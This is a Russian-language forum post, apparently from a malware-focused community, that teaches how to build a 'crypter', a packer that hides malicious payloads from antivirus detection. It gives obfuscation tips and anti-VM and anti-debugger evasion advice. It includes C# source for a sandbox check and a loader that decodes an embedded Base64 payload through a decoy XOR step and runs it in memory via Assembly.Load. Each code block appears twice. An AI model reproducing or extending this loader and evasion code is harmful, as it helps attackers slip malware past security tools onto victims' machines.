Всем привет Сегодня хотел бы с вами немного более подробно обсудить тему крипта и применяемые там методы больше с тех части. Тут не будет базовых понятий, их я описал в своей первой теме. Покажу небольшой пример криптора, расскажу о используемых методах, расскажу о более серьезных понятиях в теме, и немного болталогии, конечно Начнем, как всегда, с понятий но более сложных и методов применяемых: Метаморфизм : Возможно, вы часто видели подобное у разных крипторов, которые этим хвалятся, чуть ли не пишут везде, хотя это, само собой разумеется. Это, если в кратце, запутывание кода, создание бесполезных блоков проверок, работа через множество классов и всяческое его усложнение с целью запутать и уменьшить детект. К примеру, в моем коде это блок шифрования и дешифрования XOR, который в принципе и не нужен, так как изначальные байты криптуемого файла находятся в простом Base64. Алгоритмы в криптографии и различные ухищрения: Есть множество алгоритмов, которыми мы можем пользоваться: Base64, AES, XOR, RC6, TEA, XTEA, WAKE, Madryga и т.д. Можете шифровать картинку и брать байты из нее по пикселям, это также очень популярный метод в криптографии. Какой язык для этого выбрать: Лучше всего брать нативный язык, как C, C++, Rust. Это усложнит реверс. Также можете взять C# или C# c NativeAOT , но это все крайне усложнит. К примеру, скопировать копию самого себя, используя NativeAOT, нельзя просто так, вы забьете буфер, нужно искать костыли. Использовать Python не рекомендую, тут думаю, понятно почему. И так, наконец, приступ к примеру: Для начала я создал простую проверку на наличие интернета и небольшой фильтр имен пользователей. Это очень простой пример AntiVM, но вам я советую это проверять наличие драйверов Wireshark, ProcessHacker и различных дебагеров, проверять наличие физического жесткого диска и наличие мышки (хотя сейчас даже такое не всегда помогает, тут нету общего решения проблемы). class Program { static void Main() { if (!CheckForInternetConnection()) { Console.WriteLine("Отсутствует интернет-соединение. Программа завершает работу."); return; } if (IsUnsafeEnvironment()) { Console.WriteLine("Обнаружено небезопасное окружение. Программа завершает работу."); return; } MyClass.MyMethod(); //запуск } static bool CheckForInternetConnection() { try { using (var client = new WebClient()) using (client.OpenRead("http://clients3.google.com/generate_204")) //проверка инета { return true; } } catch { return false; } } static bool IsUnsafeEnvironment() { string[] unsafeEnvironmentIdentifiers = { "VMware", "george", "vmware", "virtualbox", "Abby", "azure", "VirtualBox", "abby" }; //Проверка имен string userName = Environment.UserName.ToLower(); foreach (string identifier in unsafeEnvironmentIdentifiers) { if (userName.Contains(identifier)) return true; } return false; } } CSHARP class Program { static void Main() { if (!CheckForInternetConnection()) { Console.WriteLine("Отсутствует интернет-соединение. Программа завершает работу."); return; } if (IsUnsafeEnvironment()) { Console.WriteLine("Обнаружено небезопасное окружение. Программа завершает работу."); return; } MyClass.MyMethod(); //запуск } static bool CheckForInternetConnection() { try { using (var client = new WebClient()) using (client.OpenRead("http://clients3.google.com/generate_204")) //проверка инета { return true; } } catch { return false; } } static bool IsUnsafeEnvironment() { string[] unsafeEnvironmentIdentifiers = { "VMware", "george", "vmware", "virtualbox", "Abby", "azure", "VirtualBox", "abby" }; //Проверка имен string userName = Environment.UserName.ToLower(); foreach (string identifier in unsafeEnvironmentIdentifiers) { if (userName.Contains(identifier)) return true; } return false; } } Следующий код уже является примером криптора, который дешифрует байты нашей полезной нагрузки из Base64, потом шифрует в XOR, затем дешифрует и запускает Assembly.Load внутри самого себя. namespace ConsoleApp1 { internal class Programs { public class MyClass { private const byte XorKey = 0x53; public static void MyMethod() { try { string base64EncodedData = "BASE 64 BYTES"; string encryptedBase64Data = XorEncrypt(base64EncodedData); string decryptedBase64Data = XorDecrypt(encryptedBase64Data); byte[] assemblyBytes = Convert.FromBase64String(decryptedBase64Data); Assembly assembly = Assembly.Load(assemblyBytes); MethodInfo entryPoint = assembly.EntryPoint; if (entryPoint != null) { entryPoint.Invoke(null, null); } else { Console.WriteLine("Fail: Entry point not found in the assembly."); } } catch (FormatException) { Console.WriteLine("Fail: Invalid Base64 encoded data."); } catch (ArgumentNullException) { Console.WriteLine("Fail: Input data is null."); } catch (Exception ex) { Console.WriteLine($"Fail: {ex.Message}"); } } private static string XorEncrypt(string data) { char[] encryptedChars = new char[data.Length]; for (int i = 0; i < data.Length; i++) { encryptedChars[i] = (char)(data[i] ^ XorKey); } return new string(encryptedChars); } private static string XorDecrypt(string encryptedData) { return XorEncrypt(encryptedData); } } } } CSHARP namespace ConsoleApp1 { internal class Programs { public class MyClass { private const byte XorKey = 0x53; public static void MyMethod() { try { string base64EncodedData = "BASE 64 BYTES"; string encryptedBase64Data = XorEncrypt(base64EncodedData); string decryptedBase64Data = XorDecrypt(encryptedBase64Data); byte[] assemblyBytes = Convert.FromBase64String(decryptedBase64Data); Assembly assembly = Assembly.Load(assemblyBytes); MethodInfo entryPoint = assembly.EntryPoint; if (entryPoint != null) { entryPoint.Invoke(null, null); } else { Console.WriteLine("Fail: Entry point not found in the assembly."); } } catch (FormatException) { Console.WriteLine("Fail: Invalid Base64 encoded data."); } catch (ArgumentNullException) { Console.WriteLine("Fail: Input data is null."); } catch (Exception ex) { Console.WriteLine($"Fail: {ex.Message}"); } } private static string XorEncrypt(string data) { char[] encryptedChars = new char[data.Length]; for (int i = 0; i < data.Length; i++) { encryptedChars[i] = (char)(data[i] ^ XorKey); } return new string(encryptedChars); } private static string XorDecrypt(string encryptedData) { return XorEncrypt(encryptedData); } } } } Хотелось бы добавить, что такого рода крипт очень ненадежный, хотя бы потому что работает он с Base64, но так как это всего-то пример, можно закрыть глаза. Пишите если есть какие-то вопросы, замечания и тд всем буду рад Спасибо за внимание!